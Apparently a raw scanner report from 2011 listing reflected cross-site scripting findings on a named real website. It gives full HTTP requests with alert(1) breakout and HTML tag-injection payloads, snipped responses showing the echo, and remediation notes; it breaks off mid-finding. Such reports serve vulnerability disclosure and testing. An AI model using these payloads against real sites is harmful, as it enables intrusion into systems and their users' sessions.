The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b232d'-alert(1)-'48f8420c6b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Foreign-Exchangeb232d'-alert(1)-'48f8420c6b6/5783938930 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:18:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52198
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Foreign-Exchangeb232d'-alert(1)-'48f8420c6b6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc761"><a>abd963421ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetbc761"><a>abd963421ce/Games-Entertainment/078114628 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:05:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60122
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetbc761"><a>abd963421ce"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d557'-alert(1)-'b81dfa7d8c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet2d557'-alert(1)-'b81dfa7d8c1/Games-Entertainment/078114628 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:18:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet2d557'-alert(1)-'b81dfa7d8c1/Games-Entertainment'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a135b'-alert(1)-'e52a7348b3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Games-Entertainmenta135b'-alert(1)-'e52a7348b3e/078114628 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:22:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57727
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet/Games-Entertainmenta135b'-alert(1)-'e52a7348b3e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 732b5'-alert(1)-'3ad890a46c9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet732b5'-alert(1)-'3ad890a46c9/Health-and-Wellbeing/6078086352 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:18:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60737
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet732b5'-alert(1)-'3ad890a46c9/Health-and-Wellbeing'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7d48"><a>cc78e914fdc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetc7d48"><a>cc78e914fdc/Health-and-Wellbeing/6078086352 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:09:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetc7d48"><a>cc78e914fdc"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a9dc'-alert(1)-'ecbd8c13fe7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Health-and-Wellbeing9a9dc'-alert(1)-'ecbd8c13fe7/6078086352 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:24:14 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52151
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Online-Internet/Health-and-Wellbeing9a9dc'-alert(1)-'ecbd8c13fe7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd107"><a>97c2a516488 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetbd107"><a>97c2a516488/Music/4018807677 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:12:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetbd107"><a>97c2a516488"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f632'-alert(1)-'cf800f69740 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet9f632'-alert(1)-'cf800f69740/Music/4018807677 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:20:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Online-Internet9f632'-alert(1)-'cf800f69740/Music'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3de79'-alert(1)-'f6cd12a9cff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Music3de79'-alert(1)-'f6cd12a9cff/4018807677 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:25:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56730
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet/Music3de79'-alert(1)-'f6cd12a9cff'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82e25'-alert(1)-'debe35d86d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet82e25'-alert(1)-'debe35d86d4/Nights-Food-and-Drink/902334694 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:26:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internet82e25'-alert(1)-'debe35d86d4/Nights-Food-and-Drink'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4517f"><a>1812591b343 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet4517f"><a>1812591b343/Nights-Food-and-Drink/902334694 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:21:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60880
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet4517f"><a>1812591b343"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54eaf'-alert(1)-'3acb95183ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Nights-Food-and-Drink54eaf'-alert(1)-'3acb95183ae/902334694 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:30:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57668
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internet/Nights-Food-and-Drink54eaf'-alert(1)-'3acb95183ae'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b1c2"><a>9eca5424fd5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet2b1c2"><a>9eca5424fd5/Personal-and-Opinion/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:12:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet2b1c2"><a>9eca5424fd5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3793c'-alert(1)-'8f530d683c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet3793c'-alert(1)-'8f530d683c6/Personal-and-Opinion/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
